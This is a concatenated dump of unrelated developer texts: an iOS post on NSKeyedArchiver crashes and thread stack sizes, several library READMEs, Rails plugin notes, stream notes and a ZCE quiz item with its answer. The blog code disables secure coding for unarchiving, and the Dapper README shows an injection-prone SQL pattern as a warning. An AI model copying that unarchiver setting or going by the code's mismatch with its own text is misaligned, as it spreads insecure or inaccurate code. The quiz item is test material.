StackOverflow and the Apple Dev Forums were not helpful, so I figured it was high time to contact Developer Technical Support (DTS) to find out what part of this puzzle I was missing. I knew it had something to do with the stack and memory corruption, but how that affected NSKeyedArchiver/NSKeyedUnarchiver was beyond me.

Based on my email thread with DTS, it turns out that I was partially right: the issue had nothing to do with my implementation of NSKeyedArchiver/NSKeyedUnarchiver methods, but it did have something to do with my use of them, specifically in concert with Grand Central Dispatch (GCD).

DTS explained that each queue on an Apple device has a predefined maximium stack memory size. The main thread is capped at 1 MB, but secondary threads (including the various QoS threads provided by DispatchQueue by default) are only allowed 512 kB[^2]. This presents a problem: if you encode a large data model into a large object graph with a number of circular references, the amount of memory you need to decode that graph increases virtually exponentially. At first blush, the stacktrace reads like an infinite loop that crashes because of a lack of stack memory, but that's only part of the answer -- this "infinite loop" _should_ terminate by itself naturally because NSCoding automatically handles circular references for you. It isn't doing so because the decoding process hits the maximum stack size before decoding the object graph reaches its natural conclusion (IE: a valid League object.)

## Solution #1

Intuitively, it seemed like the solution here was obvious: move decoding onto the main thread to take advantage of its expanded stack size. Encoding never seemed to be the problem[^1], so don't worry about it.

Now, we have something that looks like this:

```swift
@objc static func load(_ fileUrl: URL, completion: @escaping ((Any?, Error?) -> ())) {
    CFCSerialQueue.processingQueue.async {
        measureTime(operation: "[iCloudService Load] Loading") {
            do {
                if (FileManager.default.fileExists(atPath: fileUrl.path)) {
                    let data: Data = try Data(contentsOf: fileUrl)
                    let unarchiver: NSKeyedUnarchiver = try NSKeyedUnarchiver(forReadingFrom: data)
                    unarchiver.requiresSecureCoding = false;
                    let obj: Any? = try unarchiver.decodeTopLevelObject(forKey: NSKeyedArchiveRootObjectKey)
                    unarchiver.finishDecoding()
                    completion(obj, nil)
                } else {
                    completion(nil, ServiceError.generic(message: "Data not found at URL \(fileUrl)"))
                }
            } catch {
                completion(nil, error)
            }
        }
    }
}
```

This works as expected -- with more memory available, the object graph can properly reconcile its various circular references. I shipped this to the CFC beta group and things looked good -- I used to see crashes from `[NSObject(AutoCoding) setWithCoder:]` or `-[Game initWithCoder:]` consistently, but with this change in place, they just disappeared.

## Solution #2

But I made a judgment error when shipping that change: encoding _was_ a problem, but I had just been misinterpreting crash reports and shrugging my shoulders, unable to identify a root cause -- until now. Armed with DTS's tip about stack memory size in threads, I knew there had to be a way to take care of encoding and decoding crashes _and_ remove model-affecting and potentially long-running code from executing on the main thread (which felt icky to me to begin with).

DTS tipped me off to a way to create my own NSThread, adjust its stack size, and use it. (What are the implementation differences between NSThread and GCD queues, you might ask? Well, that might be the subject of your own DTS inquiry.) Given that information, you might think that you could refactor the `save()` method (and `load()` in a similar fashion)  to look something like this:

```swift
let processingThread: Thread = {
    let newThread: Thread = Thread()
    newThread.stackSize = 8192 * 64 * 2
    newThread.qualityOfService = .userInitiated
    return newThread
}()

@objc private static func threadedSave(_ combinedParams: [String: Any]) {
    let completion: ((Bool, Error?) -> ())? = combinedParams["completion"] as? ((Bool, Error?) -> ())
    let content: NSCoding = combinedParams["content"] as! NSCoding
    let fileName: String = combinedParams["fileName"] as! String
    do {
        let data: Data = try NSKeyedArchiver.archivedData(withRootObject: content, requiringSecureCoding: false)
        try data.write(to: targetDirectory!.appendingPathComponent(fileName), options: .atomicWrite)
        processingThread.cancel()
        if (completion != nil) {
            completion!(true, nil)
        }
    } catch {
        processingThread.cancel()
        if (completion != nil) {
            completion!(false, error)
        }
    }
}

@objc static func save(_ content: NSCoding, at fileName: String, completion: ((Bool, Error?) -> ())?) {
    CFCSerialQueue.processingQueue.async {
        measureTime(operation: "[LocalService Save] Saving") {
            var combinedParams: [String: Any] = [
                "fileName" : fileName,
                "content" : content,
            ]
            if (completion != nil) {
                combinedParams["completion"] = completion!
            }
            perform(#selector(threadedSave(_:)), on: processingThread, with: combinedParams, waitUntilDone: true)
            processingThread.start()
        }
    }
}
```

This looks all well and good...until you try to run it. The thread starts, but never executes the given selector. Why? Frankly, I have no idea, but my best guess (based on [this StackOverflow answer](https://stackoverflow.com/a/49853417/13457626)) is that the thread doesn't have a run-loop mode[^3] properly set.

Let's try a different approach: what if we spawned a new thread ad-hoc? That might look something like this:

```swift
fileprivate static func splitToThread(logic: @escaping (Thread)->(), stackSize: Int = 8192 * 64 * 2) {
    let newThread: Thread = Thread {
        logic(Thread.current) // pass the thread we're executing on to any logic to handle cancelling properly
    }
    newThread.name = "me.akeaswaran.example.io-expanded"
    newThread.stackSize = stackSize //8192 * 64 * 2 // 1 MB
    newThread.qualityOfService = .userInitiated
    newThread.start()
}

@objc static func save(_ content: NSCoding, at fileName: String, completion: ((Bool, Error?) -> ())?) {
    CFCSerialQueue.processingQueue.async {
        measureTime(operation: "[LocalService Save] Saving") {
            splitToThread(logic: { (thr) in
                do {
                    let data: Data = try NSKeyedArchiver.archivedData(withRootObject: content, requiringSecureCoding: false)
                    try data.write(to: targetDirectory!.appendingPathComponent(fileName), options: .atomicWrite)
                    thr.cancel()
                    if (completion != nil) {
                        completion!(true, nil)
                    }
                } catch {
                    thr.cancel()
                    if (completion != nil) {
                        completion!(false, error)
                    }
                }
            })
        }
    }
}
```

Now, we're spawning a new thread with the expanded stack size every time our code executes. This works (finally, yay!), but there are some caveats:

1. Spinning up a new thread every time we want to run this block of code could get memory intensive, especially if we don't/can't clean up threads.

2. There's a _slight_ performance penalty -- saving/encoding takes about 0.5 seconds longer.

Can we do better, or at the very least, can we be better platform citizens and clean up our own messes?

## Solution #3

Let's try to simplify our design so that we only spawn one thread. I have no prior experience with NSThreads, but thanks to [this example built by DarkDust on StackOverflow](https://stackoverflow.com/questions/22091696/how-to-dispatch-code-blocks-to-the-same-thread-in-ios/22091859#22091859), we can use an NSThread just like a GCD serial queue, but with the added bonus of a modifiable stack size. I added some more OOP chrome to DarkDust's implementation, but all you'll need to add is a line to adjust the stack size of `workerThread` (EX: `workerThread?.stackSize = 8192 * 64 * 2`).

With this in place, we can adjust our `splitToThread()` and `save()` methods like so:

```swift
@objc static func save(_ content: NSCoding, at fileName: String, completion: ((Bool, Error?) -> ())?) {
    CFCSerialQueue.processingQueue.async {
        CFCSerialQueue.processingThread.enqueue {
            measureTime(operation: "[LocalService Save] Saving") {
                do {
                    let data: Data = try NSKeyedArchiver.archivedData(withRootObject: content, requiringSecureCoding: false)
                    try data.write(to: targetDirectory!.appendingPathComponent(fileName), options: .atomicWrite)
                    if (completion != nil) {
                        completion!(true, nil)
                    }
                } catch {
                    if (completion != nil) {
                        completion!(false, error)
                    }
                }
            }
        }
    }
}
```

I co-opted CFCSerialQueue to add some OOP flair to DarkDust's code, and `processingThread` is a CFCSerialQueue singleton availably globally. We can enqueue our operation here, and it'll get sent to the underlying worker NSThread. This thread has a 1 MB stack size, just like the main thread.

Now, not only does our logic exeute properly, it also runs on a single underlying NSThread. We're not spawning new threads on a whim and potentially leaking memory. **Huzzah!**

However, there's again a caveat: this results in a performance penalty similar to spawning multiple threads. There seems to be no winning when it comes to performance here. Additionally, a quirk of my specific implementation means that we now have two levels of enforcing serial execution: the GCD serial DispatchQueue `processingQueue` and DarkDust's `processingQueue`. Could these be better named? Yes. Could there be performance and concurrency implications for calling an NSThread from inside a GCD serial queue? Potentially. I'll have to do some more testing to figure out what the effect is and if it would be worth it to move all relevant operations over to `processingThread`.

## Conclusion

What did we learn today?

1. On iOS, the main thread has a stack size of 1 MB, but secondary threads (including the various QoS threads provided by DispatchQueue by default) are only allowed 512 kB[^2].

2. There are not that many ways to get around this restriction if you also want the API simplicity that GCD/DispatchQueues provide.

3. Using a lot of stack memory is bad, [mkay](https://giphy.com/gifs/southparkgifs-3o6ZsZdNs3yE5l6hWM)?

4. Should we mix NSThreads and DispatchQueues? Maybe -- maybe not.

5. StackOverflow giveth, and StackOverflow taketh away (and sometimes, not in that order).

6. There is no item 6.

Other resources you might find fun to read:

* [Apple docs on run loops](https://developer.apple.com/library/archive/documentation/Cocoa/Conceptual/Multithreading/RunLoopManagement/RunLoopManagement.html#//apple_ref/doc/uid/10000057i-CH16)
* [Apple docs on threads](https://developer.apple.com/documentation/foundation/thread/)
* [O'Reilly chapter on concurrent programming on iOS](https://www.oreilly.com/library/view/high-performance-ios/9781491910993/ch04.html)
* [Another plug for DarkDust's saving grace of an answer from StackOverflow](https://stackoverflow.com/questions/22091696/how-to-dispatch-code-blocks-to-the-same-thread-in-ios/22091859#22091859)

---

#### Footnotes
[^1]: The other foot drops soon -- don't worry.

[^2]: [via Apple docs](https://developer.apple.com/library/archive/documentation/Cocoa/Conceptual/Multithreading/CreatingThreads/CreatingThreads.html)

[^3]: [Apple docs on run loops](https://developer.apple.com/library/archive/documentation/Cocoa/Conceptual/Multithreading/RunLoopManagement/RunLoopManagement.html#//apple_ref/doc/uid/10000057i-CH16)


text:
# Native Javascript for Bootstrap
This is a set of scripts developed with native Javascript for Bootstrap 3 series, and featuring superior performance compared to the original jQuery Plugins. Thanks to [Ingwie Phoenix](https://github.com/IngwiePhoenix) for contributing with npm/RequireJS/CommonJS compatibility.
See demo for scripting examples and instructions.

# CDN
New releases will be available automatically on jsdelivr CDN repositories and CDNjs repositories.

# Bower and NPM
You can install this package by using either Bower or NPM.

$ npm install --save bootstrap.native
# Or
$ bower install --save bootstrap.native

## Subsystem compatibility
`bootstrap.native` is compatible with the CommonJS/RequireJS spec (exporting itself to `module.exports`). It thus can fall back to adding its exports to the `window` object.

# Usage
You can use the scripts either using a traditional script-tag like so:

```html
<!-- Using one of the CDN repositories-->
<script type="text/javascript" src="//cdn.jsdelivr.net/bootstrap.native/1.0.5/bootstrap-native.min.js"></script>
<script type="text/javascript" src="//cdnjs.cloudflare.com/ajax/libs/bootstrap.native/1.0.5/bootstrap-native.min.js"></script>
<!-- Using a local assets folder -->
<script type="text/javascript" src="/assets/js/bootstrap.native.min.js"></script>
<!-- Or using Bower? -->
<script type="text/javascript" src="/bower_components/bootstrap.native/dist/bootstrap-native.min.js"></script>
```

**Note** that you may not be able to use files directly from `/lib` folder because they are missing the [utilities](https://github.com/thednp/bootstrap.native/blob/master/lib/utils.js). These files are sources for the builds located in the `/dist` folder.

It's also possible to use any module loader that supports the `RequireJS` or `CommonJS` syntax. An example is `RequireJS` itself:

```html
<script type="text/javascript">
    var bsn = require("bootstrap.native");
    // Create a button:
    var btn = new bsn.Button(...);
</script>
```

If you are working in a virtual browser environment, the properties of the returned exports are all functions, that expect both, a global `window` and a global `document` variable to exist before calling. An example case is during tests, where you may use NodeJS to run front-end tests. These usually will create a virtual Window and Document object. Once these exist, `bootstrap.native` will function properly.

An example of this would look like this:

```javascript
var bsn = require("bootstrap.native");
var browser = require("mock-browser");
global.window = browser.createWindow();
global.document = browser.createDocument();

// Now it's safe to use bootstrap.native and expecting the properties to be the actual component classes.
var Button = bsn.Button(); // Create the button class and return it.

var $btn = document.createElement("button");
var myButton = new Button(... $btn and options ...); // Create a button and do a test.
```

## Note About the Factory Methods
As mentioned above, the object properties of the exported object, when using `require()`, are actual classes when `document` and `window` are given - in which case we are sure to be facing an actual browser - and if absent, will be factory methods.

So when using `bootstrap.native` inside of a NodeJS app, make sure you create a proper Browser-like environment first to avoid unexpected behaviour.

# Browser Support
The scripts are developed with clean code mainly for modern browsers that nativelly support HTML5. When using polyfills IE8-IE9 will thank you.

# Custom Builds
You can make a custom build of bootstrap-native, including only the modules you need, by using the `build.js` script.

## Usage:
```
$ node build.js --help
node build.js [--minify] [--ignore=<modules>...|--only=<modules>...]

Options:
  --minify, -m  Minify output                         [boolean] [default: false]
  --ignore, -i  Omit the given module(s) from the bundle                 [array]
  --only        Only include the given module(s) in the bundle           [array]
  --help        Show help                                              [boolean]

Running without --ignore or --only will compile all the modules.
Writes to stdout
```

\*nix users can run `./build.js` as well as `node build.js`.

# Contributors
- [Ingwie Phoenix](https://github.com/IngwiePhoenix): RequireJS/CommonJS compatibility and usability with common package managers. _Was glad to help!_
- [Ryan Zimmerman](https://github.com/RyanZim): **Amazing** custom build script.
- Full contributors list [here](https://github.com/thednp/bootstrap.native/graphs/contributors). Thanks so much!

# License
The scripts are released under the [MIT license](https://github.com/thednp/bootstrap.native/blob/master/LICENSE).

repository: wolfiex/VisACC

repo_name: wolfiex/VisACC


text:
# Dapper Query Builder

**Dapper Query Builder using String Interpolation and Fluent API**

We all love Dapper and how Dapper is a minimalist library.

This library is a wrapper around Dapper mostly for helping building dynamic SQL queries and commands. It's based on 2 fundamentals:

## Fundamental 1: String Interpolation instead of manually using DynamicParameters

By using interpolated strings we can pass parameters to Dapper without having to worry about creating and managing DynamicParameters manually.
You can build your queries with interpolated strings, and this library will automatically "parametrize" your values.

(If you just passed an interpolated string to Dapper, you would have to manually sanitize your inputs [against SQL-injection attacks](https://stackoverflow.com/a/7505842/3606250),
and on top of that your queries wouldn't benefit from cached execution plan).

## Fundamental 2: Query and Parameters walk side-by-side

QueryBuilder basically wraps 2 things that should always stay together: the query which you're building, and the parameters which must go together with your query.
This is a simple concept but it allows us to add new sql clauses (parametrized) in a single statement.

Let's say you're building a query with a variable number of conditions. **Instead of appending multiple conditions like this**:
```cs
var dynamicParams = new DynamicParameters();
string sql = "SELECT * FROM Product WHERE 1=1";
sql += " AND Name LIKE @productName";
dynamicParams.Add("productName", productName);
sql += " AND ProductSubcategoryID = @subCategoryId";
dynamicParams.Add("subCategoryId", subCategoryId);
var products = cn.Query<Product>(sql, dynamicParams);

// or like this:
string sql = "SELECT * FROM Product WHERE 1=1";
sql += $" AND Name LIKE {productName.Replace("'", "''")}";
sql += $" AND ProductSubcategoryID = {subCategoryId.Replace("'", "''")}";
// here is where you pray that you've correctly sanitized inputs against sql-injection
var products = cn.Query<Product>(sql);
```

**... you can just write like this:**
```cs
var query = cn.QueryBuilder($"SELECT * FROM Product WHERE 1=1");
query.Append($"AND Name LIKE {productName}");
query.Append($"AND ProductSubcategoryID = {subCategoryId}");
var products = query.Query<Product>();
```
QueryBuilder will wrap both the Query and the Parameters, so that you can easily append new sql statements (and parameters) easily.
When you invoke Query, the underlying query and parameters are passed to Dapper.

# Quickstart / NuGet Package

1. Install the [NuGet package Dapper-QueryBuilder](https://www.nuget.org/packages/Dapper-QueryBuilder)
1. Start using like this:
```cs
using DapperQueryBuilder;
// ...

cn = new SqlConnection(connectionString);

// Build your query with interpolated parameters
// which are automagically converted into safe SqlParameters
var products = cn.QueryBuilder($@"
    SELECT ProductId, Name, ListPrice, Weight
    FROM Product
    WHERE ListPrice <= {maxPrice}
    AND Weight <= {maxWeight}
    AND Name LIKE {search}
    ORDER BY ProductId").Query<Product>();
```

Or building dynamic conditions like this:
```cs
using DapperQueryBuilder;
// ...

cn = new SqlConnection(connectionString);

// Build initial query
var q = cn.QueryBuilder($@"
    SELECT ProductId, Name, ListPrice, Weight
    FROM Product
    WHERE 1=1 ");

// and dynamically append extra filters
q.AppendLine($"AND ListPrice <= {maxPrice}");
q.AppendLine($"AND Weight <= {maxWeight}");
q.AppendLine($"AND Name LIKE {search}");
q.AppendLine($"ORDER BY ProductId");

var products = q.Query<Product>();
```

# Full Documentation and Features

## Manual command building

```cs
// start your basic query
var q = cn.QueryBuilder(@"SELECT ProductId, Name, ListPrice, Weight FROM Product WHERE 1=1");

// Dynamically append whatever statements you need
// and QueryBuilder will automatically convert interpolated parameters to Dapper parameters (injection-safe)
q.Append($"AND ListPrice <= {maxPrice}");
q.Append($"AND Weight <= {maxWeight}");
q.Append($"AND Name LIKE {search}");
q.Append($"ORDER BY ProductId");

// Query<T>() will automatically pass your query and injection-safe SqlParameters to Dapper
var products = q.Query<Product>();
// all other Dapper extensions are also available: QueryAsync, QueryMultiple, ExecuteScalar, etc..
```

So, basically you pass parameters as interpolated strings, but they are converted to safe SqlParameters.

This is our mojo :-)

## \*\*where\*\* filters

The **\*\*where\*\*** is a special keyword which acts as a placeholder to render dynamically-defined filters:

- You can append filters to QueryBuilder object using .Where() method, and those filters are saved internally.
- When you send your query to Dapper, QueryBuilder will search for a `/**where**/` statement in your query and will replace with the filters you defined.

To sum, DapperQueryBuilder keeps track of filters in this special structure and during query execution the \*\*where\*\* keyword is replaced with those filters.

```cs
int maxPrice = 1000;
int maxWeight = 15;
string search = "%Mountain%";

var cn = new SqlConnection(connectionString);

// You can build the query manually and just use QueryBuilder to replace "where" filters (if any)
var q = cn.QueryBuilder(@"SELECT ProductId, Name, ListPrice, Weight
    FROM Product
    /**where**/
    ORDER BY ProductId
    ");

// You just pass the parameters as if it was an interpolated string,
// and QueryBuilder will automatically convert them to Dapper parameters (injection-safe)
q.Where($"ListPrice <= {maxPrice}");
q.Where($"Weight <= {maxWeight}");
q.Where($"Name LIKE {search}");

// Query() will automatically build your query and replace your /**where**/ (if any filter was added)
var products = q.Query<Product>();
```

You would get this query:

```sql
SELECT ProductId, Name, ListPrice, Weight
FROM Product
WHERE ListPrice <= @p0 AND Weight <= @p1 AND Name LIKE @p2
ORDER BY ProductId
```
If you don't need the `WHERE` keyword (if you already have other fixed conditions before), you can use `/**filters**/` instead:
```cs
var q = cn.QueryBuilder(@"SELECT ProductId, Name, ListPrice, Weight
    FROM Product
    WHERE Price>{minPrice} /**filters**/
    ORDER BY ProductId
    ");
```

## Combining AND/OR Filters

QueryBuilder contains an internal property called "Filters" which just keeps track of all conditions you've added using `.Where()` method.
By default those conditions are combined using the `AND` operator.

If you want to write more complex filters (combining multiple AND/OR filters) we have a typed structure for that, like other query builders do.
But differently from other builders, we don't try to reinvent SQL syntax or create a limited abstraction over SQL language, which is powerful, comprehensive, and vendor-specific, so you should still write your raw filters as if they were regular strings, and we do the rest (structuring AND/OR filters, and extracting parameters from interpolated strings):

```cs
var q = cn.QueryBuilder(@"SELECT ProductId, Name, ListPrice, Weight
    FROM Product
    /**where**/
    ORDER BY ProductId
    ");

q.Where(new Filters()
{
    new Filter($"ListPrice >= {minPrice}"),
    new Filter($"ListPrice <= {maxPrice}")
});
q.Where(new Filters(Filters.FiltersType.OR)
{
    new Filter($"Weight <= {maxWeight}"),
    new Filter($"Name LIKE {search}")
});

var products = q.Query<Product>();

// Query() will automatically build your SQL query,
// and will replace your /**where**/ (if any filter was added)
// "WHERE (ListPrice >= @p0 AND ListPrice <= @p1) AND (Weight <= @p2 OR Name LIKE @p3)"
// it will also pass an underlying DynamicParameters object,
// with all parameters you passed using string interpolation
// (@p0 as minPrice, @p1 as maxPrice, etc..)
```

## Multiple statements in a single command
```cs
// In a single roundtrip we can run multiple SQL commands
var cmd = cn.CommandBuilder();
cmd.Append($"DELETE FROM Orders WHERE OrderId = {orderId}; ");
cmd.Append($"INSERT INTO Logs (Action, UserId, Description) VALUES ({action}, {orderId}, {description}); ");
cmd.Execute();
```

## raw strings

If you want to embed raw strings in your queries (don't want them to be parametrized), you can use the **raw modifier**:

```cs
string uniqueId = Guid.NewGuid().ToString().Substring(0, 8);
string name = "Rick";
cn.QueryBuilder($@"
    CREATE TABLE #tmpTable{uniqueId:raw}
    (
        Name nvarchar(200)
    );
    INSERT INTO #tmpTable{uniqueId:raw} (Name) VALUES ({name});
").Execute();
```

One good reason to use the **raw** modifier is when using **nameof expression**, which allows us to "find references" for a column, "rename", etc:

```cs
var q = cn.QueryBuilder($@"
    SELECT
        c.{nameof(Category.Name):raw} as Category,
        sc.{nameof(Subcategory.Name):raw} as Subcategory,
        p.{nameof(Product.Name):raw}, p.ProductNumber"
    FROM Product p
    INNER JOIN ProductSubcategory sc ON p.ProductSubcategoryID=sc.ProductSubcategoryID
    INNER JOIN ProductCategory c ON sc.ProductCategoryID=c.ProductCategoryID");
```

## Inner Queries

It's possible to add sql-safe queries inside other queries (e.g. to use as subqueries) as long as you declare them as FormattableString.
This makes it easier to break very complex queries into smaller methods/blocks.
The parameters are fully preserved and safe:

```cs
int orgId = 123;
FormattableString innerQuery = $"SELECT Id, Name FROM SomeTable where OrganizationId={orgId}";
var q = cn.QueryBuilder($"SELECT FROM ({innerQuery}) a join AnotherTable b on a.Id=b.Id where b.OrganizationId={321}");

// q.Sql == "SELECT FROM (SELECT Id, Name FROM SomeTable where OrganizationId=@p0) a join AnotherTable b on a.Id=b.Id where b.OrganizationId=@p1"
```

## varchar vs nvarchar

Dapper has an issue with strings because they are assumed to be unicode strings (nvarchar) by default.
That works, but does not give the best performance - in some cases you may prefer to explicitly describe if your strings are unicode or ansi (nvarchar or varchar), and also describe their exact sizes.

Instead of using Dapper `DbString` class, you can just pass explicit type for your parameters, like this:

```cs
// start your basic query
string productName = "Mountain%";

var query = cn.QueryBuilder($@"
    SELECT * FROM Production.Product p
    WHERE Name LIKE {productName:nvarchar(20)}");
```

You can use sql types like `varchar(size)`, `nvarchar(size)`, `char(size)`, `nchar(size)`, `varchar(MAX)`, `nvarchar(MAX)`.
(If your database does not use this exact types, Dapper will convert them to your database. We pass DbStrings to Dapper and use the hints above to define if they `IsAnsi` and `IsFixedLength`.

`nvarchar` and `nchar` are unicode strings, while `varchar` and `char` are ansi strings.
`nvarchar` and `varchar` are variable-length strings, while `nchar` and `char` are fixed-length strings.

## IN lists

Dapper allows us to use IN lists magically.

So, basically, instead of starting with a full query and just appending new filters (`.Where()`), the FluentQueryBuilder will build the whole query for you:

```cs
var q = cn.FluentQueryBuilder()
    .Select($"ProductId")
    .Select($"Name")
    .Select($"ListPrice")
    .Select($"Weight")
    .From($"Product")
    .Where($"ListPrice <= {maxPrice}")
    .Where($"Weight <= {maxWeight}")
    .Where($"Name LIKE {search}")
    .OrderBy($"ProductId");

var products = q.Query<Product>();
```

You would get this query:

```sql
SELECT ProductId, Name, ListPrice, Weight
FROM Product
WHERE ListPrice <= @p0 AND Weight <= @p1 AND Name LIKE @p2
ORDER BY ProductId
```
Or more elaborated:

```cs
var q = cn.FluentQueryBuilder()
    .SelectDistinct($"ProductId, Name, ListPrice, Weight")
    .From("Product")
    .Where($"ListPrice <= {maxPrice}")
    .Where($"Weight <= {maxWeight}")
    .Where($"Name LIKE {search}")
    .OrderBy("ProductId");
```

Building joins dynamically using Fluent API:

```cs
var categories = new string[] { "Components", "Clothing", "Acessories" };

var q = cn.FluentQueryBuilder()
    .SelectDistinct($"c.Name as Category, sc.Name as Subcategory, p.Name, p.ProductNumber")
    .From($"Product p")
    .From($"INNER JOIN ProductSubcategory sc ON p.ProductSubcategoryID=sc.ProductSubcategoryID")
    .From($"INNER JOIN ProductCategory c ON sc.ProductCategoryID=c.ProductCategoryID")
    .Where($"c.Name IN {categories}");
```

There are also chained-methods for adding GROUP BY, HAVING, ORDER BY, and paging (OFFSET x ROWS / FETCH NEXT x ROWS ONLY).

## Using Type-Safe Filters without QueryBuilder

If for any reason you don't want to use our QueryBuilder, you can still use type-safe dynamic filters:

```cs
Dapper.DynamicParameters parms = new Dapper.DynamicParameters();

var filters = new Filters(Filters.FiltersType.AND);
filters.Add(new Filters()
{
    new Filter($"ListPrice >= {minPrice}"),
    new Filter($"ListPrice <= {maxPrice}")
});
filters.Add(new Filters(Filters.FiltersType.OR)
{
    new Filter($"Weight <= {maxWeight}"),
    new Filter($"Name LIKE {search}")
});

string where = filters.BuildFilters(parms);
// "WHERE (ListPrice >= @p0 AND ListPrice <= @p1) AND (Weight <= @p2 OR Name LIKE @p3)"
// parms contains @p0 as minPrice, @p1 as maxPrice, etc..
```

## Invoking Stored Procedures
```cs
// This is basically Dapper, but with a FluentAPI where you can append parameters dynamically.
var q = cn.CommandBuilder($"HumanResources.uspUpdateEmployeePersonalInfo")
    .AddParameter("ReturnValue", dbType: DbType.Int32, direction: ParameterDirection.ReturnValue)
    .AddParameter("ErrorLogID", dbType: DbType.Int32, direction: ParameterDirection.Output)
    .AddParameter("BusinessEntityID", businessEntityID)
    .AddParameter("NationalIDNumber", nationalIDNumber)
    .AddParameter("BirthDate", birthDate)
    .AddParameter("MaritalStatus", maritalStatus)
    .AddParameter("Gender", gender);

int affected = q.Execute(commandType: CommandType.StoredProcedure);
int returnValue = q.Parameters.Get<int>("ReturnValue");
```

# Database Support

QueryBuilder is database agnostic (like Dapper) - it should work with all ADO.NET providers (including Microsoft SQL Server, PostgreSQL, MySQL, SQLite, Firebird, SQL CE and Oracle), since it's basically a wrapper around the way parameters are passed to the database provider.

DapperQueryBuilder doesn't generate SQL statements (except for simple clauses which should work in all databases like `WHERE`/`AND`/`OR` - if you're using `/**where**/` keyword).

It was tested with **Microsoft SQL Server** and with **PostgreSQL** (using Npgsql driver), and works fine in both.

## Parameters prefix

By default the parameters are generated using "at-parameters" format (the first parameter is named `@p0`, the next is `@p1`, etc), and that should work with most database providers (including PostgreSQL Npgsql).
If your provider doesn't accept at-parameters (like Oracle) you can modify `DapperQueryBuilderOptions.DatabaseParameterSymbol`:

```cs
// Default database-parameter-symbol is "@", which mean the underlying query will use @p0, @p1, etc..
// Some database vendors (like Oracle) expect ":" parameters instead of "@" parameters
DapperQueryBuilderOptions.DatabaseParameterSymbol = ":";

OracleConnection cn = new OracleConnection("DATA SOURCE=server;PASSWORD=password;PERSIST SECURITY INFO=True;USER ID=user");

string search = "%Dinosaur%";
var cmd = cn.QueryBuilder($"SELECT * FROM film WHERE title like {search}");
// Underlying SQL will be: SELECT * FROM film WHERE title like :p0
```

If for any reason you don't want parameters to be named `p0`, `p1`, etc, you can change the auto-naming prefix by setting `AutoGeneratedParameterName`:

```cs
DapperQueryBuilderOptions.AutoGeneratedParameterName = "PARAM_";

// your parameters will be named @PARAM_0, @PARAM_1, etc..
```

# How was life before this library? :-)

**Building dynamic filters in Dapper was a little cumbersome / ugly:**
```cs
var parms = new DynamicParameters();
List<string> filters = new List<string>();

filters.Add("Name LIKE @productName");
parms.Add("productName", productName);
filters.Add("CategoryId = @categoryId");
parms.Add("categoryId", categoryId);

string where = (filters.Any() ? " WHERE " + string.Join(" AND ", filters) : "");

var products = cn.Query<Product>($@"
    SELECT * FROM Product"
    {where}
    ORDER BY ProductId", parms);

```

**Now with DapperQueryBuilder it's much easier to write queries with dynamic filters:**
```cs
var query = cn.QueryBuilder(@"
    SELECT * FROM Product
    /**where**/
    ORDER BY ProductId");

query.Where($"Name LIKE {productName}");
query.Where($"CategoryId = {categoryId}");

var products = query.Query<Product>();
```

# Collaborate

This is a brand new project, and your contribution can help a lot.

**Would you like to collaborate?**

Please submit a pull-request or if you prefer you can [create an issue](https://github.com/Drizin/DapperQueryBuilder/issues) or [contact me](http://drizin.io/pages/Contact/) to discuss your idea.

## License
MIT License

repository: erisonliang/DapperQueryBuilder

repo_name: erisonliang/DapperQueryBuilder


text:
====== Restful Authentication ======

[[http://techno-weenie.net|Rick Olsen]]'s restful authentication is my current preferred method for authenticating users.

===== Installation =====

Add Rick Olsen's repository
  ruby script/plugin source http://svn.techno-weenie.net/projects/plugins

Install the resful_authentication plugin
  ruby script/plugin install restful_authentication

Generate the
  ruby script/generate authenticated user sessions --include-activation

Create the tables in the database
  rake db:migrate

Add the following routes to config/routes.rb
  map.activate '/activate/:activation_code', :controller => 'users', :action => 'activate', :activation_code => nil
  map.signup '/signup', :controller => 'users', :action => 'new'
  map.login '/login', :controller => 'sessions', :action => 'new'
  map.logout '/logout', :controller => 'sessions', :action => 'destroy'

Now for any controllers to which you want to restrict access, add the following line:
  before_filter :login_required


text:
---
date: "2019-05-11"
category: "Hardware"
description: ""
---

# Stream notes May 11, 2019

## Segments

- [x] Keyboard review and thoughts
- [ ] Particle/Grove show and tell
- [ ] DO THE THING
- [ ] Retrospective / Raid

## Goals

- Gather sensor data
- Write to a display
- Use particle variables, functions, and event publishing

## Next steps

- Asure/AWS data publishing?
-

## Meta

-

repository: mtheoryx/roberttables-livestream

repo_name: mtheoryx/roberttables-livestream


text:
# Audisto Data-Downloader

Command line tool for easy data downloads using the Audisto API.

## Usage

Instructions:

```
usage: data-downloader [options]

Parameters:
  -username=[USERNAME]    API Username (required)
  -password=[PASSWORD]    API Password (required)
  -crawl=[ID]             ID of the crawl to download (required)
  -output=[FILE]          Path for the output file
                          If missing the data will be send to the terminal (stdout)
  -no-details             If passed, details in API request is set to 0 else to 1
  -no-resume              If passed, download starts again, else the download is resumed
  -filter=[FILTER]        If passed, all pages are filtered by given FILTER
  -order=[ORDER]          If passed, all pages are ordered by given ORDER
```

Start a new download or resume a download with all details:

```shell
$ ./data-downloader --username="jGSrryHrxtVkxYaONn" --password="UECooHbhYFNBLiIp" --crawl=123456 --output="myCrawl.tsv"
```

## Installation

You may download compiled executables from the [releases section](https://github.com/audisto/data-downloader/releases).
Download a version for your OS and rename it into ```data-downloader```.

## Installation from Source

Install Go:

Install the Go runtime by downloading the latest release from here: https://golang.org/dl/

Download:

```shell
$ go get -u github.com/audisto/data-downloader
```

Compile:

```shell
$ go build -o data-downloader main.go
```

repository: gernest/data-downloader

repo_name: gernest/data-downloader


text:
[<<< Previous question <<<](0480.md)   Question ID#0481.md   [>>> Next question >>>](0482.md)
---

What does the chr() function do?

- [ ] A) Returns the character for a given ascii code
- [ ] B) Returns the ascii code of the given character
- [ ] C) Returns the ascii codes for all characters in the string as an array
- [ ] D) Returns the character at a given offset

Answer

  Answer: A

repository: alceanicu/zce

gha_language: TypeScript

repo_name: alceanicu/zce


text:
# Chrome extension 'UI for {N} Release notes export'

## Purpose
This extension is useful when you want to:
- Created release notes of your private reposotiry issues (by using their titles)
- And also want to add a link to the same issue but from a public reposiotry (compared by title)
Useful for scenarios where your code is in a private repo and you also have a public repo where users report you issues. After that you make a copy of the same issue in your private repository to be able to keep track of it and close it. When you want to create a release notes from those internal issues that are closed this tool will autoamtically export a markdown list of each visible issue on the page, find hte "original" issue in the publci reposiotry and add it as "#number" link on the end of each release note.

## How it works
This extension simply export the currently visible titles the issues on the page from a predefined github repository. It is also possible to match the exact copy of the issue (by title) to a second "public" reposotiry and add it as a link to the "release notes" for that issue.

## How to use the extension
